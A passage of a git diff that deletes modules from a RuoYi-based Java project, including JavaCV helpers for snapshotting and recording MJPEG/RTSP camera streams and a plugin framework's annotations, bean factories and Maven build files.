FFmpegFrameRecorder(outputFile, width, height); - recorder.setVideoCodec(avcodec.AV_CODEC_ID_H264); - recorder.setFormat("mp4"); - recorder.setFrameRate(25); - recorder.start(); - - long startTime = System.currentTimeMillis(); - long duration = seconds * 1000L; - long frameInterval = 40; - - while (System.currentTimeMillis() - startTime < duration) { - frame = grabber.grabImage(); - if (frame != null) { - long timestamp = System.currentTimeMillis() - startTime; - recorder.setTimestamp(timestamp * 1000); - recorder.record(frame); - frame.close(); - frame = null; - } - Thread.sleep(frameInterval); - } - } catch (Exception e) { - error.set(e); - } finally { - if (frame != null) { - try { - frame.close(); - } catch (Exception ignored) { - } - } - if (recorder != null) { - try { - recorder.stop(); - recorder.release(); - } catch (Exception ignored) { - } - } - if (grabber != null) { - try { - grabber.stop(); - grabber.release(); - } catch (Exception ignored) { - } - } - } - }); - thread.setDaemon(true); - thread.start(); - try { - thread.join(timeoutMs); - if (thread.isAlive()) { - throw new Exception("ffmpegRecord timeout"); - } - if (error.get() != null) { - throw error.get(); - } - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - throw new Exception("ffmpegRecord interrupted"); - } - } - - public static String ffmepgeSnapshot(String mjpegUrl, String path) throws Exception { - return ffmepgeSnapshot(mjpegUrl, path, DEFAULT_TIMEOUT_MS); - } - - public static String ffmepgeSnapshot(String mjpegUrl, String path, int timeoutMs) throws Exception { - AtomicReference result = new AtomicReference<>(); - AtomicReference error = new AtomicReference<>(); - Thread thread = new Thread(() -> { - FFmpegFrameGrabber grabber = null; - Frame frame = null; - Java2DFrameConverter converter = null; - try { - grabber = new FFmpegFrameGrabber(mjpegUrl); - grabber.setOption("rtsp_transport", "tcp"); - grabber.start(); - - for (int i = 0; i < 5; i++) { - frame = grabber.grabImage(); - if (frame != null) break; - } - - if (frame != null) { - converter = new Java2DFrameConverter(); - BufferedImage img = converter.getBufferedImage(frame); - String basePath = path; - if (!basePath.endsWith("/")) { - basePath = basePath + "/"; - } - String filename = uuid() + "_snapshot.jpg"; - String savePathUrl = basePath + filename; - ImageIO.write(img, "jpg", new File(savePathUrl)); - result.set(filename); - } - } catch (Exception e) { - error.set(e); - } finally { - if (frame != null) { - try { - frame.close(); - } catch (Exception ignored) { - } - } - if (converter != null) { - try { - converter.close(); - } catch (Exception ignored) { - } - } - if (grabber != null) { - try { - grabber.stop(); - grabber.close(); - } catch (Exception ignored) { - } - } - } - }); - thread.setDaemon(true); - thread.start(); - try { - thread.join(timeoutMs); - if (thread.isAlive()) { - throw new Exception("ffmepgeSnapshot timeout"); - } - if (error.get() != null) { - throw error.get(); - } - return result.get(); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - throw new Exception("ffmepgeSnapshot interrupted"); - } - } - - public static String uuid() { - return UUID.randomUUID().toString().replaceAll("-", ""); - } - - public static String snapshot(String mjpegUrl, String path) throws Exception { - return snapshot(mjpegUrl, path, DEFAULT_TIMEOUT_MS); - } - - public static String snapshot(String mjpegUrl, String path, int timeoutMs) throws Exception { - AtomicReference result = new AtomicReference<>(); - AtomicReference error = new AtomicReference<>(); - Thread thread = new Thread(() -> { - HttpURLConnection conn = null; - InputStream input = null; - try { - URL url = new URL(mjpegUrl); - conn = (HttpURLConnection) url.openConnection(); - conn.setReadTimeout(10000); - conn.setConnectTimeout(5000); - input = conn.getInputStream(); - ByteArrayOutputStream jpgBuffer = new ByteArrayOutputStream(); - int prev = 0; - int cur; - boolean start = false; - while ((cur = input.read()) != -1) { - if (!start) { - if (prev == 0xFF && cur == 0xD8) { - start = true; - jpgBuffer.write(0xFF); - } - } - if (start) { - jpgBuffer.write(cur); - if (prev == 0xFF && cur == 0xD9) { - break; - } - } - prev = cur; - } - String basePath = path; - if (!basePath.endsWith("/")) { - basePath = basePath + "/"; - } - byte[] jpgBytes = jpgBuffer.toByteArray(); - String filename = uuid() + "_snapshot.jpg"; - String savePathUrl = basePath + filename; - BufferedImage image = ImageIO.read(new ByteArrayInputStream(jpgBytes)); - ImageIO.write(image, "jpg", new File(savePathUrl)); - result.set(filename); - } catch (Exception e) { - error.set(e); - } finally { - if (input != null) { - try { - input.close(); - } catch (Exception ignored) { - } - } - if (conn != null) { - conn.disconnect(); - } - } - }); - thread.setDaemon(true); - thread.start(); - try { - thread.join(timeoutMs); - if (thread.isAlive()) { - throw new Exception("snapshot timeout"); - } - if (error.get() != null) { - throw error.get(); - } - return result.get(); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - throw new Exception("snapshot interrupted"); - } - } -} diff --git a/luqj-javacv/src/main/java/com/luqj/javacv/utils/RtspUtil.java b/luqj-javacv/src/main/java/com/luqj/javacv/utils/RtspUtil.java deleted file mode 100644 index ccc7c51..0000000 --- a/luqj-javacv/src/main/java/com/luqj/javacv/utils/RtspUtil.java +++ /dev/null @@ -1,212 +0,0 @@ -package com.luqj.javacv.utils; - -import org.bytedeco.javacv.FFmpegFrameGrabber; -import org.bytedeco.javacv.Frame; -import org.bytedeco.javacv.Java2DFrameConverter; - -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.ByteArrayOutputStream; -import java.io.File; -import java.util.UUID; -import java.util.concurrent.atomic.AtomicReference; - -public class RtspUtil { - - private static final int DEFAULT_TIMEOUT_MS = 5000; - private static final int DEFAULT_SCREENSHOT_TIMEOUT_MS = 15000; - - public static boolean isStreamAvailable(String rtspUrl) { - return isStreamAvailable(rtspUrl, DEFAULT_TIMEOUT_MS); - } - - public static boolean isStreamAvailable(String rtspUrl, int timeoutMs) { - AtomicReference result = new AtomicReference<>(false); - Thread thread = new Thread(() -> { - FFmpegFrameGrabber grabber = null; - Frame frame = null; - try { - grabber = new FFmpegFrameGrabber(rtspUrl); - grabber.setOption("rtsp_transport", "tcp"); - grabber.setOption("stimeout", "3000000"); - grabber.setOption("buffer_size", "1024000"); - grabber.start(); - frame = grabber.grabImage(); - result.set(frame != null); - } catch (Exception ignored) { - } finally { - if (frame != null) { - try { - frame.close(); - } catch (Exception ignored) { - } - } - if (grabber != null) { - try { - grabber.stop(); - grabber.close(); - } catch (Exception ignored) { - } - } - } - }); - thread.setDaemon(true); - thread.start(); - try { - thread.join(timeoutMs); - return result.get(); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - return false; - } - } - - public static String screenshot(String rtspUrl, String basePath) throws Exception { - return screenshot(rtspUrl, basePath, DEFAULT_SCREENSHOT_TIMEOUT_MS); - } - - public static String screenshot(String rtspUrl, String path, int timeoutMs) throws Exception { - AtomicReference result = new AtomicReference<>(); - AtomicReference error = new AtomicReference<>(); - Thread thread = new Thread(() -> { - FFmpegFrameGrabber grabber = null; - Frame frame = null; - Java2DFrameConverter converter = null; - try { - grabber = new FFmpegFrameGrabber(rtspUrl); - grabber.setOption("rtsp_transport", "tcp"); - grabber.setOption("stimeout", "3000000"); - grabber.setOption("buffer_size", "1024000"); - grabber.start(); - converter = new Java2DFrameConverter(); - String basePath = path; - if (!basePath.endsWith("/")) { - basePath = basePath + "/"; - } - String filename = uuid() + "_snapshot.jpg"; - String savePathUrl = basePath + filename; - for (int i = 0; i < 10; i++) { - frame = grabber.grabImage(); - if (frame != null) { - BufferedImage img = converter.getBufferedImage(frame); - ImageIO.write(img, "jpg", new File(savePathUrl)); - break; - } - } - result.set(filename); - } catch (Exception e) { - error.set(e); - } finally { - if (frame != null) { - try { - frame.close(); - } catch (Exception ignored) { - } - } - if (converter != null) { - try { - converter.close(); - } catch (Exception ignored) { - } - } - if (grabber != null) { - try { - grabber.stop(); - grabber.close(); - } catch (Exception ignored) { - } - } - } - }); - thread.setDaemon(true); - thread.start(); - try { - thread.join(timeoutMs); - if (thread.isAlive()) { - throw new Exception("screenshot timeout"); - } - if (error.get() != null) { - throw error.get(); - } - return result.get(); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - throw new Exception("screenshot interrupted"); - } - } - - public static byte[] screenshot(String rtspUrl) throws Exception { - return screenshot(rtspUrl, DEFAULT_SCREENSHOT_TIMEOUT_MS); - } - - public static byte[] screenshot(String rtspUrl, int timeoutMs) throws Exception { - AtomicReference result = new AtomicReference<>(new byte[0]); - AtomicReference error = new AtomicReference<>(); - Thread thread = new Thread(() -> { - FFmpegFrameGrabber grabber = null; - Frame frame = null; - Java2DFrameConverter converter = null; - try { - grabber = new FFmpegFrameGrabber(rtspUrl); - grabber.setOption("rtsp_transport", "tcp"); - grabber.setOption("stimeout", "3000000"); - grabber.setOption("buffer_size", "1024000"); - grabber.start(); - converter = new Java2DFrameConverter(); - byte[] bytes = new byte[0]; - for (int i = 0; i < 10; i++) { - frame = grabber.grabImage(); - if (frame != null) { - BufferedImage img = converter.getBufferedImage(frame); - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ImageIO.write(img, "jpg", baos); - bytes = baos.toByteArray(); - break; - } - } - result.set(bytes); - } catch (Exception e) { - error.set(e); - } finally { - if (frame != null) { - try { - frame.close(); - } catch (Exception ignored) { - } - } - if (converter != null) { - try { - converter.close(); - } catch (Exception ignored) { - } - } - if (grabber != null) { - try { - grabber.stop(); - grabber.close(); - } catch (Exception ignored) { - } - } - } - }); - thread.setDaemon(true); - thread.start(); - try { - thread.join(timeoutMs); - if (thread.isAlive()) { - throw new Exception("screenshot timeout"); - } - if (error.get() != null) { - throw error.get(); - } - return result.get(); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); - throw new Exception("screenshot interrupted"); - } - } - - public static String uuid() { - return UUID.randomUUID().toString().replaceAll("-", ""); - } -} diff --git a/luqj-opencv/pom.xml b/luqj-opencv/pom.xml deleted file mode 100644 index e50c73c..0000000 --- a/luqj-opencv/pom.xml +++ /dev/null @@ -1,28 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-opencv - - - - - - - - - - - org.bytedeco - javacv-platform - 1.5.7 - - - \ No newline at end of file diff --git a/luqj-plugin-demo/pom.xml b/luqj-plugin-demo/pom.xml deleted file mode 100644 index e396e16..0000000 --- a/luqj-plugin-demo/pom.xml +++ /dev/null @@ -1,87 +0,0 @@ - - 4.0.0 - - org.adminframework.boot - luqj-plugin-demo - 1.0 - jar - - luqj-plugin-demo - http://maven.apache.org - - - maven-releases - http://gitlab.chatshop.com.cn:8081/repository/maven-releases/ - - - snapshots - http://gitlab.chatshop.com.cn:8081/repository/maven-snapshots/ - - - - UTF-8 - D:\luqj-plugins\plugin-demo\1.0.0 - - - - - org.adminframework.boot - luqj-plugin-interface - 2.3.0 - - - com.ruoyi - luqj-plugin - 3.4.0 - compile - - - ant-contrib - ant-contrib - 1.0b3 - true - - - - - - org.apache.maven.plugins - maven-antrun-plugin - 3.1.0 - - - copy - install - - run - - - - - - - - - - - copying handler.jar to plugin dir ... - - - - - current os is ${os.name}, will not copy handler.jar to plugin dir - - - - - - - - - - - diff --git a/luqj-plugin-demo/src/main/java/org/code/modules/plugin/demo/PluginTestService.java b/luqj-plugin-demo/src/main/java/org/code/modules/plugin/demo/PluginTestService.java deleted file mode 100644 index 8f9c434..0000000 --- a/luqj-plugin-demo/src/main/java/org/code/modules/plugin/demo/PluginTestService.java +++ /dev/null @@ -1,12 +0,0 @@ -package org.code.modules.plugin.demo; - -import org.code.modules.plugins.annotation.PluginBean; -import org.code.modules.plugins.annotation.PluginType; -import org.code.modules.plugins.service.IPluginTest; -@PluginBean(name = "pluginDemo", beanType = PluginType.DB_PLUGIN) -public class PluginTestService implements IPluginTest { - @Override - public String funcExec(String str) { - return "hahah"; - } -} diff --git a/luqj-plugin-demo/src/main/resources/config.properties b/luqj-plugin-demo/src/main/resources/config.properties deleted file mode 100644 index 5133955..0000000 --- a/luqj-plugin-demo/src/main/resources/config.properties +++ /dev/null @@ -1,2 +0,0 @@ -isLoad=true -jarName=lu-admin-plugin-demo-1.0.jar \ No newline at end of file diff --git a/luqj-plugin-interface/pom.xml b/luqj-plugin-interface/pom.xml deleted file mode 100644 index 6baabf5..0000000 --- a/luqj-plugin-interface/pom.xml +++ /dev/null @@ -1,34 +0,0 @@ - - 4.0.0 - - org.adminframework.boot - luqj-plugin-interface - 2.3.0 - jar - - luqj-plugin-interface - http://maven.apache.org - - - UTF-8 - - - - maven-releases - http://gitlab.chatshop.com.cn:8081/repository/maven-releases/ - - - snapshots - http://gitlab.chatshop.com.cn:8081/repository/maven-snapshots/ - - - - - junit - junit - 3.8.1 - test - - - diff --git a/luqj-plugin-interface/src/main/java/org/code/modules/plugins/service/FormulaPluginHelp.java b/luqj-plugin-interface/src/main/java/org/code/modules/plugins/service/FormulaPluginHelp.java deleted file mode 100644 index 8fd62ad..0000000 --- a/luqj-plugin-interface/src/main/java/org/code/modules/plugins/service/FormulaPluginHelp.java +++ /dev/null @@ -1,9 +0,0 @@ -package org.code.modules.plugins.service; -import java.util.Map; -import java.util.Set; - -public interface FormulaPluginHelp { - Set parseFieldList(String var1); - - Object execFormula(String var1, Map var2); -} \ No newline at end of file diff --git a/luqj-plugin-interface/src/main/java/org/code/modules/plugins/service/IPluginTest.java b/luqj-plugin-interface/src/main/java/org/code/modules/plugins/service/IPluginTest.java deleted file mode 100644 index 95c5515..0000000 --- a/luqj-plugin-interface/src/main/java/org/code/modules/plugins/service/IPluginTest.java +++ /dev/null @@ -1,5 +0,0 @@ -package org.code.modules.plugins.service; - -public interface IPluginTest { - String funcExec(String str); -} diff --git a/luqj-plugin/pom.xml b/luqj-plugin/pom.xml deleted file mode 100644 index aefca26..0000000 --- a/luqj-plugin/pom.xml +++ /dev/null @@ -1,43 +0,0 @@ - - 4.0.0 - - com.ruoyi - ruoyi - 3.4.0 - - - luqj-plugin - jar - - luqj-plugin - http://maven.apache.org - - - UTF-8 - - - - - net.sf.json-lib - json-lib - 2.3 - jdk13 - - - commons-io - commons-io - 2.6 - - - com.google.guava - guava - 33.0.0-jre - - - com.ruoyi - luqj-common - 3.4.0 - - - diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/PluginBeanFactory.java b/luqj-plugin/src/main/java/org/code/modules/plugins/PluginBeanFactory.java deleted file mode 100644 index cb21273..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/PluginBeanFactory.java +++ /dev/null @@ -1,142 +0,0 @@ -package org.code.modules.plugins; - -import com.luqj.util.log.LogUtil; -import com.luqj.util.reflect.ClassUtils; -import com.luqj.util.reflect.GSetterUtil; -import org.code.modules.plugins.service.IBeanFactory; -import org.code.modules.plugins.service.IPluginRegistry; -import org.code.modules.plugins.service.IllegalPluginException; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.beans.factory.annotation.Qualifier; -import org.springframework.context.annotation.DependsOn; -import org.springframework.stereotype.Component; - -import javax.annotation.PostConstruct; -import java.lang.reflect.Field; -@DependsOn(value = "defPluginRegistry") -@Component(value = "pluginBeanFactory") -public class PluginBeanFactory implements IBeanFactory { - - private static final Logger LOGGER = LoggerFactory.getLogger(PluginBeanFactory.class); - @Autowired - private IPluginRegistry pluginRegistry; - @Autowired - @Qualifier("springBeanFactory") - private IBeanFactory springBeanFactory; - @PostConstruct - public void init() { - pluginRegistry.init(); - } - - public T getBean(String beanName, Class beanClass) { - if (beanName.endsWith("Action")) { - LOGGER.debug("获取bean: {}", beanName); - } - return getBean(beanName, "def", beanClass); - } - - - @Override - public T getBean(String beanName, String version, Class beanClass) { - try { - T obj = pluginRegistry.instancePluginBean(beanName, version, beanClass); - if (obj != null) { - injectBean(obj); - return obj; - } else { - if (this.springBeanFactory.containsBean(beanName)) { - return this.springBeanFactory.getBean(beanName, beanClass); - } else { - LOGGER.debug("找不到指定的bean[{}]", beanName); - return null; - } - } - } catch (Throwable e) { - - LOGGER.error(LogUtil.exceptionMsg("bean[" + beanName + ":" + version + "],加载异常", e), e); - new IllegalPluginException(LogUtil.exceptionMsg("bean[" + beanName + ":" + version + "],加载异常", e), e); - return null; - } - } - - @Override - public Object getBean(String beanName) { - return getBean(beanName, Object.class); - } - - - @Override - public void injectBean(Object obj, String version) { - Class classType = obj.getClass(); - Field[] fields = ClassUtils.getDeclaredFields(classType); - for (Field field : fields) { - try { - if (this.springBeanFactory.containsBean(field.getName())) { - if (GSetterUtil.existSetter(classType, field)) { - if (LOGGER.isTraceEnabled()) { - LOGGER.trace(classType.getSimpleName() + "." + field.getName() + "spring注入成功!"); - } - GSetterUtil.setValueBySetter(obj, field, this.springBeanFactory.getBean(field.getName())); - } - } else if (this.pluginRegistry.containsPluginBean(field.getName()) - && GSetterUtil.getValueByGetter(obj, field) == null) {//有值不注入 - Object fBean = this.getBean(field.getName(), Object.class); - injectBean(fBean, version); - GSetterUtil.setValueBySetter(obj, field, fBean); - } - } catch (Throwable e) { - LOGGER.error(classType.getSimpleName() + "." + field.getName() + - "注入异常,异常消息[" + e.getMessage() + "]", e); - } - } - } - - public void injectBean(Object obj) { - Class classType = obj.getClass(); - Field[] fields = ClassUtils.getDeclaredFields(classType); - for (Field field : fields) { - try { - if (this.springBeanFactory.containsBean(field.getName())) { - if (GSetterUtil.existSetter(classType, field)) { - if (LOGGER.isTraceEnabled()) { - LOGGER.trace(classType.getSimpleName() + "." + field.getName() + "spring注入成功!"); - } - GSetterUtil.setValueBySetter(obj, field, this.springBeanFactory.getBean(field.getName())); - } - } else if (this.pluginRegistry.containsPluginBean(field.getName()) - && GSetterUtil.getValueByGetter(obj, field) == null) {//有值不注入 - Object fBean = this.getBean(field.getName()); - injectBean(fBean); - GSetterUtil.setValueBySetter(obj, field, fBean); - } - } catch (Throwable e) { - LOGGER.error(classType.getSimpleName() + "." + field.getName() + - "注入异常,异常消息[" + e.getMessage() + "]", e); - } - } - } - - - @Override - public boolean containsBean(String beanName) { - return pluginRegistry.containsPluginBean(beanName) - || springBeanFactory.containsBean(beanName); - } - - @Override - public void autowireComponent(Object bean) { - - } - - - public IPluginRegistry getPluginRegistry() { - return pluginRegistry; - } - - public void setPluginRegistry(IPluginRegistry pluginRegistry) { - this.pluginRegistry = pluginRegistry; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/SpringBeanFactory.java b/luqj-plugin/src/main/java/org/code/modules/plugins/SpringBeanFactory.java deleted file mode 100644 index ed686c7..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/SpringBeanFactory.java +++ /dev/null @@ -1,67 +0,0 @@ -package org.code.modules.plugins;; - -import com.luqj.util.assertion.Assert; -import org.code.modules.plugins.service.IBeanFactory; -import org.springframework.beans.BeansException; -import org.springframework.context.ApplicationContext; -import org.springframework.context.ApplicationContextAware; -import org.springframework.stereotype.Component; - -@Component(value = "springBeanFactory") -public class SpringBeanFactory implements ApplicationContextAware, IBeanFactory { - private static ApplicationContext applicationContext; - - public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { - if (SpringBeanFactory.applicationContext == null) { - SpringBeanFactory.applicationContext = applicationContext; - } - System.out.println("========ApplicationContext配置成功========"); - System.out.println("========在普通类可以通过调用SpringUtils.getAppContext()获取applicationContext对象========"); - System.out.println("========applicationContext=" + SpringBeanFactory.applicationContext + "========"); - } - - /** - * 获取applicationContext - * - * @return - */ - public static ApplicationContext getApplicationContext() { - return applicationContext; - } - - - @Override - public boolean containsBean(String beanName) { - return this.applicationContext.containsBean(beanName); - } - - @Override - public T getBean(String beanName, Class beanClass) { - return applicationContext.getBean(beanName, beanClass); - } - - @Override - public Object getBean(String beanName) { - return applicationContext.getBean(beanName); - } - - @Override - public void injectBean(Object obj) { - Assert.fail("此类禁用此方法"); - } - - public void injectBean(Object obj, String version) { - Assert.fail("此类禁用此方法"); - } - - @Override - public void autowireComponent(Object bean) { - - } - - @Override - public T getBean(String beanName, String version, Class beanClass) { - // TODO Auto-generated method stub - return getBean(beanName, beanClass); - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/DBTypeMapping.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/DBTypeMapping.java deleted file mode 100644 index bba37a5..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/DBTypeMapping.java +++ /dev/null @@ -1,16 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -public @interface DBTypeMapping { - - String name(); - - String dbType(); - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiDubboService.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiDubboService.java deleted file mode 100644 index 55ae653..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiDubboService.java +++ /dev/null @@ -1,12 +0,0 @@ -package org.code.modules.plugins.annotation; - -import org.springframework.stereotype.Component; - -import java.lang.annotation.*; - -@Target({ElementType.TYPE}) -@Retention(RetentionPolicy.RUNTIME) -@Documented -@Component -public @interface EtlApiDubboService { -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiSave.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiSave.java deleted file mode 100644 index 0e6e179..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiSave.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -public @interface EtlApiSave { -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiService.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiService.java deleted file mode 100644 index 13c782e..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/EtlApiService.java +++ /dev/null @@ -1,13 +0,0 @@ -package org.code.modules.plugins.annotation; - -import org.springframework.stereotype.Component; - -import java.lang.annotation.*; - -@Target({ElementType.TYPE}) -@Retention(RetentionPolicy.RUNTIME) -@Documented -@Component -public @interface EtlApiService { - String pluginCode(); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginAttribute.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginAttribute.java deleted file mode 100644 index fa0911d..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginAttribute.java +++ /dev/null @@ -1,17 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * Created by chenzm on 2016/12/27. - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.FIELD) -public @interface PluginAttribute { - String code() default ""; - String name(); - String type() default ""; -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginBackup.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginBackup.java deleted file mode 100644 index 01d16d3..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginBackup.java +++ /dev/null @@ -1,21 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 实现数据备份所需的插件 - * @author xufm - * @date 2018/4/2 - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -public @interface PluginBackup { - /** - * 别名 - * @return - */ - String name() default ""; -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginBean.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginBean.java deleted file mode 100644 index fdfba18..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginBean.java +++ /dev/null @@ -1,107 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - - -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -public @interface PluginBean { - /** - * 插件名称 - * - * @return - */ - String name() default ""; - - /** - * 别名 - * - * @return - */ - String aliasName() default ""; - - /** - * 插件类 - * - * @return - */ - PluginEnum clazz() default PluginEnum.DEFAULT; - - /** - * 插件所属分类 - * - * @return - */ - String pluginClassify() default ""; - - /** - * 插件类型 - * - * @return - */ - PluginType beanType(); - - /** - * 分区模式 - * - * @return - */ - String partitionPattern() default ""; - - /** - * 线程模式 - * - * @return - */ - String workThreadPattern() default ""; - - /** - * 分区 - * - * @return - */ - PluginPartition[] partitions() default {}; - - /** - * 执行模式 - * - * @return - */ - EnumExecuteMod executeMod() default EnumExecuteMod.NOTHING; - - - enum EnumExecuteMod { - /** - * 表示不显示 - */ - NOTHING(""), - /** - * ETL显示 - */ - ETL("1"), - /** - * 魔方显示 - */ - MF("2"), - /** - * 所有都显示 - */ - ALL("3"); - - private String code; - - EnumExecuteMod(String code) { - this.code = code; - } - - public String getCode() { - return code; - } - } -} - - - diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginEnum.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginEnum.java deleted file mode 100644 index 2ef3c08..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginEnum.java +++ /dev/null @@ -1,30 +0,0 @@ -package org.code.modules.plugins.annotation; - -/** - * 插件类型 - * Created by chenzm on 2017/1/12. - */ -public enum PluginEnum { - INPUT_PLUGIN("输入插件", "org.code.modules.plugin.common.InputTransPlugin"), - - OUTPUT_PLUGIN("输出插件", "org.code.modules.plugin.common.OutputTransPlugin"), - - TRANSFORM_PLUGIN("转换插件", "org.code.modules.plugin.common.TransformPlugin"), - - BATCH_TRANSFORM_PLUGIN("批量转换插件", "org.code.modules.plugin.common.BatchTransformPlugin"), - - SAVEPOINT_PLUGIN("增量输出插件", "org.code.modules.plugin.common.SavePointTransformPlugin"), - - AGGREGATOR_PLUGIN("聚合插件", "org.code.modules.plugin.common.AggregatorPlugin"), - - DEFAULT("", ""); - - public String name; - - public String javaClass; - - PluginEnum(String name, String javaClass) { - this.name = name; - this.javaClass = javaClass; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginPartition.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginPartition.java deleted file mode 100644 index d33065b..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginPartition.java +++ /dev/null @@ -1,30 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 分区注解 - * Created by chenzm on 2016/12/27. - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.TYPE) -public @interface PluginPartition { - String code() default ""; - - String name(); - - String type(); - - String pattern(); - - String javaClass(); - - /** - * 是否默认分区 - * @return - */ - boolean isDefaultPartition() default false; -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginType.java deleted file mode 100644 index 6c43485..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/PluginType.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.code.modules.plugins.annotation; - -public enum PluginType { - DB_PLUGIN, - ETL_TRANS_PLUGIN, - BS_PLUGIN, - ETL_TRANS_EXP, - //ETL的VO对象 - ETL_TRANS_META, - FUNC, -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/TransNonStandard.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/TransNonStandard.java deleted file mode 100644 index 8bd6511..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/TransNonStandard.java +++ /dev/null @@ -1,16 +0,0 @@ -package org.code.modules.plugins.annotation; - -import org.code.modules.plugins.types.TypeEnum; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - - -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.METHOD) -public @interface TransNonStandard { - - TypeEnum stdType(); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/TransStandard.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/TransStandard.java deleted file mode 100644 index b5842f4..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/TransStandard.java +++ /dev/null @@ -1,14 +0,0 @@ -package org.code.modules.plugins.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - - -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.METHOD) -public @interface TransStandard { - - String typeCode(); -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Asscocation.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Asscocation.java deleted file mode 100644 index 2e5b55a..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Asscocation.java +++ /dev/null @@ -1,15 +0,0 @@ -package org.code.modules.plugins.annotation.function; - -public @interface Asscocation { - String relationName(); - - Asscocation.RefType refType() default Asscocation.RefType.aggregation; - - public static enum RefType { - aggregation, - composite; - - private RefType() { - } - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Feature.java b/luqj-plugin/src/main/java/org/code/modules/plugins/annotation/function/Feature.java deleted file mode 100644 index fee0c1e..0000000 --- 